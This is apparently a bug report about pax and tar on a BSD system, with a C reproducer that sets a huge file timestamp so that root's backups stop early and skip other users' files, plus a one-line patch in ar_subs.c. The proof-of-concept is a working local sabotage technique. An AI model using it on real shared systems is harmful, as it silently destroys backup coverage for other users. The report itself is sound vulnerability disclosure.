Download raw body.
PAX bug allows unprivileged user to disrupt backups
It's possible for a non-root user with no special permissions to disrupt
backups made by root using tar and pax. Note that cpio is not affected.
This is done by abusing file modification timestamps and fooling tar into
quitting early.
Reproducer:
* In this scenario, 'user_2' is a regular user account with malicious intent.
mod_timestamp.c is simply:
#include <stdio.h>
#include <sys/time.h>
int main()
{
struct timeval mod[2];
mod[0].tv_sec=0;
mod[0].tv_usec=0;
mod[1].tv_sec=10000000000000000;
mod[1].tv_usec=0;
printf ("%d\n",utimes ("/fake_home/user_2/file_a", mod));
}
Set up the simulated environment as root:
# mkdir /fake_home
# mkdir /fake_home/user_1
# mkdir /fake_home/user_2
# mkdir /fake_home/user_3
# chown user_2:user_2 /fake_home/user_2
# echo foo > /fake_home/user_1/file_a
# echo foo > /fake_home/user_1/file_b
# echo foo > /fake_home/user_3/file_a
# echo foo > /fake_home/user_3/file_b
Now, as user_2:
$ echo foo > /fake_home/user_2/file_a
$ cc -o mod_timestamp mod_timestamp.c
$ ./mod_timestamp
$ ls -lt
-rw-r--r-- 1 user_2 user_2 4 Jan 25 316889355 /fake_home/user_2/file_a
Now, as root, perform a backup of /fake_home using tar:
# tar -cvf /tmp/backup.tar /fake_home/
tar: Removing leading / from absolute path names in the archive
/fake_home
/fake_home/user_1
/fake_home/user_1/file_a
/fake_home/user_1/file_b
/fake_home/user_2
/fake_home/user_2/file_a
# tar -tvf /tmp/backup.tar
drwxr-xr-x 2 root wheel 0 Jun 22 07:50 /fake_home
drwxr-xr-x 2 root wheel 0 Jun 22 07:50 /fake_home/user_1
-rw-r--r-- 1 root wheel 4 Jun 22 07:50 /fake_home/user_1/file_a
-rw-r--r-- 1 root wheel 4 Jun 22 07:50 /fake_home/user_1/file_b
drwxr-xr-x 2 user_2 user_2 0 Jun 22 07:51 /fake_home/user_2
Pax is also affected in the same way:
# pax -vw -f /ramdisk/p.tar /fake_home/
/fake_home
/fake_home/user_1
/fake_home/user_1/file_a
/fake_home/user_1/file_b
/fake_home/user_2
/fake_home/user_2/file_a
pax: pax vol 1, 6 files, 0 bytes read, 10240 bytes written.
Note that cpio is _not_ affected:
# find /fake_home > /tmp/flist
# cpio -o > /tmp/backup.cpio < /tmp/flist
cpio: Sv4cpio header field is too small for file /fake_home/user_2/file_a
# tar -tvf /tmp/backup.cpio
tar: Removing leading / from absolute path names in the archive
drwxr-xr-x 5 root wheel 0 Jun 22 07:50 /fake_home
drwxr-xr-x 2 root wheel 0 Jun 22 07:50 /fake_home/user_1
-rw-r--r-- 1 root wheel 4 Jun 22 07:50 /fake_home/user_1/file_a
-rw-r--r-- 1 root wheel 4 Jun 22 07:50 /fake_home/user_1/file_b
drwxr-xr-x 2 user_2 user_2 0 Jun 22 07:51 /fake_home/user_2
-rw-r--r-- 1 user_2 user_2 4 Jun 22 07:50 /fake_home/user_2/file_b
drwxr-xr-x 2 root wheel 0 Jun 22 07:50 /fake_home/user_3
-rw-r--r-- 1 root wheel 4 Jun 22 07:50 /fake_home/user_3/file_a
-rw-r--r-- 1 root wheel 4 Jun 22 07:50 /fake_home/user_3/file_b
Problem code:
The premature end of processing is caused by a break statement in wr_archive()
in ar_subs.c:
/*
* looks safe to store the file, have the format specific
* routine write routine store the file header on the archive
*/
if ((res = (*wrf)(arcn)) < 0) {
rdfile_close(arcn, &fd);
break;
}
If we s/break/continue, then behaviour of pax matches cpio, in that the file
with the unsupported timestamp is not stored in the archive, but archive
processing otherwise continues:
--- bin/pax/ar_subs.c.dist Sun Jul 14 15:32:02 2024
+++ bin/pax/ar_subs.c Sun Jun 22 08:30:59 2025
@@ -536,7 +536,7 @@
*/
if ((res = (*wrf)(arcn)) < 0) {
rdfile_close(arcn, &fd);
- break;
+ continue ;
}
wr_one = 1;
if (res > 0) {
More elegant solutions and better error handling are probably possible.
PAX bug allows unprivileged user to disrupt backups